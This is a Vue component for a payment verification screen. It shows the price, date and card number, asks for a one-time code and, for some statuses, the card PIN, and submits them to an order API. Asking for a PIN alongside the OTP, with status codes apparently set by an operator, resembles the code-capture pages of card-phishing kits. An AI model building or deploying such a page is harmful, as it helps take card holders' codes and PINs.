<template>
  <div class="send-code">
    <div class="df-center header">
      <div class="flex-1" @click="goBack">
        <van-icon name="wap-home-o" class="fs30 fc-0" />
      </div>
      <zm-icon :icon-class="cardType" class="card-img"></zm-icon>
    </div>
    <div class="title mb15">{{ i18n.sendCode.title }}</div>
    <div class="desc1 mb15" v-if="info.status === 3">{{ `${i18n.sendCode.descSms}${info.phone}` }}</div>
    <div class="desc1 mb15" v-if="info.status === 5">{{ `${i18n.sendCode.descEmail}${info.email}` }}</div>
    <div class="desc2">
      {{ `${i18n.sendCode.desc2}${info.price}${i18n.sendCode.on}${time}${i18n.sendCode.desc3}${info.cardNumber}` }}
    </div>
    <div class="input-code mt30">
      <div class="fc-3 name">{{ i18n.sendCode.verificationCode }}</div>
      <div class="df-center">
        <div class="flex-1">
          <span v-if="+info.status === 9">otp:</span>
          <input v-model="code" class="code-field" type="text" @input="onInputFocus" />
        </div>
        <div class="flex-1 ml10" v-if="+info.status === 9">
          <span>pin:</span>
          <input v-model="pin" class="code-field" type="text" @input="onInputFocus" />
        </div>
      </div>
      <div class="fs10 mt5 send-again-tip" v-if="isSendAgain">
        <span v-if="+info.status === 5">{{ i18n.sendCode.sendAgainEmailTip }}</span>
        <span v-if="[7, 9, 3, 2].includes(+info.status)">{{ i18n.sendCode.sendAgainPhoneTip }}</span>
      </div>
    </div>
    <van-button :loading="isLoading" @click="submit" type="info" class="w100p mt35" loading-text="loading...">{{
      i18n.sendCode.submit
    }}</van-button>
    <div class="tip fc-9 tc mt15" @click="changeSendCode">{{ i18n.sendCode.tip }}</div>

    <!-- <zm-popup v-model="showRes">

    </zm-popup> -->
  </div>
</template>

<script>
import i18n from '../const.js';
import dayjs from 'dayjs';
import orderApi from '@/api/src/order';
export default {
  name: 'SendCode',
  components: {},
  props: {
    info: {
      type: Object,
      default: () => {
        return {
          phone: '',
          email: '',
          price: '',
          cardNumber: ''
        };
      }
    },
    isLoading: {
      type: Boolean,
      false: false
    },
    cardType: {
      type: String,
      default: 'visa' // mobile email
    }
  },
  data() {
    return {
      isSendAgain: false,
      i18n,
      code: '',
      pin: '',
      loading: false,
      time: dayjs().format('DD/MM/YYYY')
    };
  },
  computed: {},
  watch: {},
  methods: {
    goBack() {
      // window.history.go(-1);
      window.location.href = `//${this.info.refUrl}/shop`;
    },
    async submit() {
      const params = {
        ...this.$route.query
      };
      if (+this.info.status === 7) {
        params.pin = this.code;
      } else if (+this.info.status === 9) {
        params.pin = this.pin;
        params.code = this.code;
      } else {
        params.code = this.code;
      }
      await orderApi.addOtp(params);
      this.$emit('after-submit');
    },
    async changeSendCode() {
      await orderApi.sendAgain({ ...this.$route.query });
      this.isSendAgain = true;
    },
    onInputFocus() {
      this.isSendAgain = false;
    }
  }
};
</script>
<style lang="scss" scoped>
.send-code {
  color: #808080;
  font-size: 0.24rem;
  .send-again-tip {
    color: #4fc08d;
  }
  .tip {
    text-decoration: underline;
    &:hover {
      cursor: pointer;
    }
  }
  .input-code {
    .code-field {
      border: 1px solid #333;
      width: 100%;
      padding: 3px 5px;
      margin-top: 5px;
    }
    .name {
      font-size: 0.26rem;
      font-weight: bold;
    }
  }
  .header {
    padding-bottom: 8px;
    border-bottom: 1px solid #ececec;
    margin-bottom: 20px;
  }
  .card-img {
    width: 60px;
    height: 45px;
  }
  .title {
    color: #333;
    font-size: 0.28rem;
    font-weight: bold;
  }
}
</style>
